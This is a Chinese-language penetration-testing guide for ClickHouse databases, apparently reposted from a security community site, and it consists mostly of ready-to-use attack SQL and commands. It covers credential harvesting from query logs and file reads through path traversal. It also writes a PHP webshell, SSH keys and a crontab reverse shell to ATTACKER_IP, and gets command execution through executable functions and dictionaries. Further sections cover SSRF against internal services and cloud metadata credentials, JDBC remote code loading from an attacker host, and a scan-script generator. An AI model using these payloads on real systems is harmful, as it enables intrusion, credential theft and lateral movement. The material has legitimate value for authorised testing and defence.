ClickHouse 数据库渗透及攻防指南

文章作者:先知社区(SecurityPaper)

文章来源:https://xz.aliyun.com/news/91297


1

概述


什么是 ClickHouse
ClickHouse 是由 Yandex 开发的开源列式数据库管理系统,专为在线分析处理(OLAP)场景设计。它能够高效处理大规模数据集,支持快速查询和实时数据分析。
自动草稿默认配置

配置项

默认值

HTTP 端口

8123

TCP 端口

9000

MySQL 协议端口

9004

配置目录

/etc/clickhouse-server/

数据目录

/var/lib/clickhouse/

用户脚本目录

/var/lib/clickhouse/user_scripts/

用户文件目录

/var/lib/clickhouse/user_files/

渗透测试目标

1、信息泄露:获取敏感数据、配置信息
2、文件读取:读取系统敏感文件
3、文件写入:写入 webshell、脚本、配置文件
4、命令执行:实现 RCE(远程代码执行)
5、横向移动:利用 SSRF 或数据库连接攻击内网


2

信息收集


1. 版本信息

-- 获取版本SELECT version();-- 获取详细版本信息SELECT * FROM system.build_options;

2. 用户与权限

-- 当前用户SELECT currentUser();-- 查看所有用户SELECT * FROM system.users;-- 查看当前用户权限SHOW GRANTS;-- 查看所有权限授予SELECT * FROM system.grants;-- 查看角色SELECT * FROM system.roles;SELECT * FROM system.role_grants;

3. 数据库与表

-- 查看所有数据库SHOW DATABASES;-- 查看所有表SELECT database, name, engine, total_rows, total_bytes FROM system.tables WHERE database NOT IN ('system''INFORMATION_SCHEMA''information_schema')ORDER BY total_bytes DESC;-- 查看表结构DESCRIBE TABLE database_name.table_name;

4. 服务器配置

-- 查看所有设置SELECT name, value FROM system.settings;-- 查看路径相关配置SELECT name, value FROM system.settings WHERE name LIKE '%path%';-- 查看文件相关配置SELECT name, value FROM system.settings WHERE name LIKE '%file%';-- 查看可执行相关配置SELECT name, value FROM system.settings WHERE name LIKE '%executable%';-- 查看磁盘信息SELECT * FROM system.disks;-- 查看存储策略SELECT * FROM system.storage_policies;

5. 集群信息

-- 查看集群配置SELECT * FROM system.clusters;-- 查看 Zookeeper 配置SELECT * FROM system.zookeeper WHERE path = '/';-- 查看复制表状态SELECT * FROM system.replicas;-- 查看宏定义SELECT * FROM system.macros;

6. 查询历史(敏感信息)

-- 查看查询日志(可能包含密码、密钥)SELECT     event_time,    user,    query,    client_hostnameFROM system.query_log WHERE type = 'QueryFinish' ORDER BY event_time DESC LIMIT 100;-- 搜索包含敏感关键词的查询SELECT query FROM system.query_log WHERE query LIKE '%password%'    OR query LIKE '%secret%'    OR query LIKE '%key%'   OR query LIKE '%token%';

7. 可用函数权限评估关键权限检查权限等级

-- 查看所有表函数SELECT name FROM system.table_functions ORDER BY name;-- 查看用户定义函数SELECT name, origin, create_query FROM system.functions WHERE origin = 'ExecutableUserDefined';-- 查看所有非系统函数SELECT name, origin FROM system.functions WHERE origin != 'System';


3

权限评估


权限评估

关键权限检查

-- 检查是否有文件写入权限SELECT * FROM system.settings WHERE name = 'allow_into_outfile';-- 检查是否有 DDL 权限SELECT * FROM system.settings WHERE name = 'allow_ddl';-- 检查 SOURCES 权限(url、mysql、postgresql 等函数)SHOW GRANTS;-- 查找是否有 SOURCES 权限

权限等级


权限级别

可执行操作

只读用户

SELECT 查询

普通用户

SELECT、INSERT、部分表函数

DDL 权限

CREATE、DROP、ALTER

SOURCES 权限

url()、mysql()、postgresql() 等

管理员

全部权限


4

各种漏洞利用及横向移动


文件读取利用

1. file() 函数读取

-- 基本读取(限制在 user_files 目录)SELECT * FROM file('test.txt''RawBLOB''data String');-- 使用通配符列出文件SELECT * FROM file('*''RawBLOB''data String');SELECT * FROM file('*.txt''RawBLOB''data String');SELECT * FROM file('*.log''RawBLOB''data String');

2. 路径穿越(低版本可能有效)

-- 尝试路径穿越SELECT * FROM file('../../../etc/passwd''RawBLOB''data String');SELECT * FROM file('../../etc/passwd''RawBLOB''data String');SELECT * FROM file('....//....//....//etc/passwd', 'RawBLOB''data String');-- 读取 ClickHouse 配置SELECT * FROM file('../config.xml''RawBLOB''data String');SELECT * FROM file('../users.xml''RawBLOB''data String');

3. 软链接绕过(需要命令执行权限)


如果有命令执行权限,可以创建软链接绕过目录限制:

ln -s /etc/passwd /var/lib/clickhouse/user_files/passwd

然后读取:

SELECT * FROM file('passwd''RawBLOB''data String');

文件写入利用

1. INTO OUTFILE

-- 基本文件写入SELECT 'test content' INTO OUTFILE '/path/to/file.txt' FORMAT Raw;-- 使用 TRUNCATE 覆盖文件SELECT 'new content' INTO OUTFILE '/path/to/file.txt' TRUNCATE FORMAT Raw;-- 写入 webshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' FORMAT Raw;-- 写入 SSH 公钥SELECT 'ssh-rsa AAAA... user@host' INTO OUTFILE '/root/.ssh/authorized_keys' FORMAT Raw;-- 写入 crontabSELECT '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/8888 0>&1' INTO OUTFILE '/etc/cron.d/reverse_shell' FORMAT Raw;

2. 写入脚本到 user_scripts 目录

-- 写入可执行脚本SELECT '#!/bin/bashid' INTO OUTFILE '/var/lib/clickhouse/user_scripts/cmd.sh' FORMAT Raw;-- 写入交互式 shell 脚本SELECT '#!/bin/bashwhile read cmd; do    eval "$cmd" 2>&1done' INTO OUTFILE '/var/lib/clickhouse/user_scripts/shell.sh' FORMAT Raw;

命令执行利用

方法1:UDF 配置文件(需要配置文件写入权限)


步骤1:创建 UDF 配置文件


创建 /etc/clickhouse-server/cmd_function.xml:

<functions>    <function>        <type>executable</type>        <name>cmd</name>        <return_type>String</return_type>        <format>TabSeparated</format>        <command>id</command>        <execute_direct>0</execute_direct>        <lifetime>0</lifetime>    </function></functions>

关键参数说明:


  • execute_direct=0:command 通过 sh -c 执行


  • execute_direct=1:command 在 user_scripts 目录查找脚本


步骤2:确保 config.xml 包含

<user_defined_executable_functions_config>*_function.xml</user_defined_executable_functions_config>

步骤3:重启服务后执行

SELECT cmd();

方法2:带参数的交互式 Shell


UDF 配置:


<functions>    <function>        <type>executable</type>        <name>shell</name>        <return_type>String</return_type>        <argument>            <type>String</type>            <name>cmd</name>        </argument>        <format>TabSeparated</format>        <command>bash -c</command>        <execute_direct>0</execute_direct>        <lifetime>0</lifetime>    </function></functions>

执行命令:

SELECT shell('id');SELECT shell('cat /etc/passwd');SELECT shell('whoami');

方法3:executable() 表函数

-- 直接执行命令(新版本)SELECT * FROM executable('id', TabSeparated, 'output String');SELECT * FROM executable('cat /etc/passwd', TabSeparated, 'line String');-- 执行 user_scripts 目录下的脚本SELECT * FROM executable('script.sh', TabSeparated, 'output String');-- 带参数执行SELECT * FROM executable('shell.sh', TabSeparated, 'output String', (SELECT 'id'));

方法4:Executable 表引擎

-- 创建 Executable 表CREATE TABLE cmd_table (output String) ENGINE = Executable('id', TabSeparated);-- 查询触发执行SELECT * FROM cmd_table;

方法5:Executable Dictionary

-- 创建可执行字典CREATE DICTIONARY cmd_dict (    id UInt64,    output String)PRIMARY KEY idSOURCE(EXECUTABLE(COMMAND 'id' FORMAT TabSeparated))LIFETIME(0)LAYOUT(FLAT());-- 调用字典执行命令SELECT dictGet('cmd_dict''output', toUInt64(1));

SSRF 利用

1. url() 表函数

-- 基本 HTTP 请求SELECT * FROM url('http://target:port/path''RawBLOB''data String');-- 带超时设置SELECT * FROM url('http://target:port/''RawBLOB''data String') SETTINGS connect_timeout=2, receive_timeout=2;-- 探测内网服务SELECT * FROM url('http://192.168.1.1:80/''RawBLOB''d String');SELECT * FROM url('http://10.0.0.1:8080/''RawBLOB''d String');SELECT * FROM url('http://172.16.0.1:3306/''RawBLOB''d String');

2. 常见内网服务探测

-- RedisSELECT * FROM url('http://127.0.0.1:6379/''RawBLOB''d String');-- ElasticsearchSELECT * FROM url('http://127.0.0.1:9200/''RawBLOB''d String');-- Docker APISELECT * FROM url('http://127.0.0.1:2375/version''RawBLOB''d String');SELECT * FROM url('http://127.0.0.1:2375/containers/json''RawBLOB''d String');-- Kubernetes APISELECT * FROM url('http://127.0.0.1:10250/pods''RawBLOB''d String');SELECT * FROM url('http://kubernetes.default.svc/''RawBLOB''d String');-- etcdSELECT * FROM url('http://127.0.0.1:2379/version''RawBLOB''d String');

3. 批量内网扫描

-- 扫描网段SELECT     '192.168.1.1' as ip, * FROM url('http://192.168.1.1:80/''RawBLOB''d String'    SETTINGS connect_timeout=2UNION ALL SELECT '192.168.1.2'* FROM url('http://192.168.1.2:80/''RawBLOB''d String'    SETTINGS connect_timeout=2UNION ALL SELECT '192.168.1.3'* FROM url('http://192.168.1.3:80/''RawBLOB''d String')     SETTINGS connect_timeout=2;

4. 其他 SSRF 函数

-- S3 函数SELECT * FROM s3('http://target:port/bucket/file''CSV''data String');-- HDFS 函数SELECT * FROM hdfs('hdfs://target:9000/path''TabSeparated''data String');SELECT * FROM hdfs('webhdfs://target:50070/path''TabSeparated''data String');

云环境利用

AWS

-- EC2 元数据SELECT * FROM url('http://169.254.169.254/latest/meta-data/''RawBLOB''d String');SELECT * FROM url('http://169.254.169.254/latest/meta-data/iam/security-credentials/''RawBLOB''d String');-- 获取临时凭证SELECT * FROM url('http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME''RawBLOB''d String');

阿里云

-- ECS 元数据SELECT * FROM url('http://100.100.100.200/latest/meta-data/''RawBLOB''d String');SELECT * FROM url('http://100.100.100.200/latest/meta-data/ram/security-credentials/''RawBLOB''d String');

腾讯云

-- CVM 元数据SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/''RawBLOB''d String');-- 获取实例信息SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/instance-id''RawBLOB''d String');SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/local-ipv4''RawBLOB''d String');SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/placement/region''RawBLOB''d String');-- 获取 CAM 临时凭证SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/''RawBLOB''d String');-- 获取 User Data(可能包含敏感信息)SELECT * FROM url('http://metadata.tencentyun.com/latest/user-data''RawBLOB''d String');

Google Cloud

-- GCE 元数据(需要特殊 Header)SELECT * FROM url('http://metadata.google.internal/computeMetadata/v1/''RawBLOB''d String');

横向移动

1. MySQL 连接

-- 连接内网 MySQLSELECT * FROM mysql('192.168.1.100:3306''database''table''user''password');-- 获取用户信息SELECT * FROM mysql('target:3306''mysql''user''root''password');

2. PostgreSQL 连接

-- 连接 PostgreSQLSELECT * FROM postgresql('192.168.1.100:5432''database''table''user''password');-- 利用 COPY FROM PROGRAM 执行命令(需要在 PostgreSQL 端)

3. remote() 连接其他 ClickHouse

-- 连接其他 ClickHouse 节点SELECT * FROM remote('192.168.1.100:9000''database''table''user''password');-- 使用集群SELECT * FROM cluster('cluster_name''database''table');

4. JDBC 连接(需要 JDBC Bridge)

-- JDBC 连接SELECT * FROM jdbc('jdbc:mysql://target:3306/db?user=root&password=pass''table');-- H2 数据库 RCESELECT * FROM jdbc('jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ''http://attacker/evil.sql''''test');


5

常见限制及防御绕过


防御绕过

1. 编码绕过

-- Base64 编码SELECT base64Encode('<?php system($_GET["cmd"]); ?>');SELECT base64Decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+');-- Hex 编码SELECT hex('malicious content');SELECT unhex('6D616C6963696F757320636F6E74656E74');-- 使用编码写入文件SELECT unhex('...hex content...'INTO OUTFILE '/path/to/file' FORMAT Raw;

2. 字符串拼接

-- 拼接命令SELECT concat('ca''t'' /etc/passwd');

3. 使用变量

-- 使用 WITH 子句WITH 'http://target/' AS urlSELECT * FROM url(url, 'RawBLOB''d String');

常见限制与绕过

托管环境限制

限制

状态

绕过方法

INTO OUTFILE 禁用

常见

无直接绕过,尝试其他写入方式

Executable DDL 禁用

常见

尝试配置文件方式

路径穿越阻止

常见

软链接(需命令执行)

url() 内网限制

少见

DNS 重绑定

配置文件只读

常见

无绕过


6

工具与脚本


1. 信息收集一键脚本

-- 一键获取系统信息SELECT 'version' as info, version() as valueUNION ALL SELECT 'user', currentUser()UNION ALL SELECT 'timezone', timezone()UNION ALL SELECT 'hostname', hostName();

2. Python SSRF 扫描脚本

#!/usr/bin/env python3"""ClickHouse SSRF 内网扫描器"""def generate_scan_sql(network, port, start=1, end=254):    """生成扫描 SQL"""    sqls = []    for i in range(start, end + 1):        ip = f"{network}.{i}"        sql = f"SELECT '{ip}:{port}' as target, * FROM url('http://{ip}:{port}/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;"        sqls.append(sql)    return sqls# 生成扫描语句for sql in generate_scan_sql("192.168.1"801254):    print(sql)

3. 批量端口扫描 SQL 模板

-- 扫描单 IP 多端口SELECT '80' as port, * FROM url('http://TARGET:80/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '443'* FROM url('http://TARGET:443/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '8080'* FROM url('http://TARGET:8080/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '8443'* FROM url('http://TARGET:8443/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '3306'* FROM url('http://TARGET:3306/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '6379'* FROM url('http://TARGET:6379/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '27017'* FROM url('http://TARGET:27017/''RawBLOB''d String') SETTINGS connect_timeout=2UNION ALL SELECT '9200'* FROM url('http://TARGET:9200/''RawBLOB''d String') SETTINGS connect_timeout=2;


文章来源:李白,你好

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容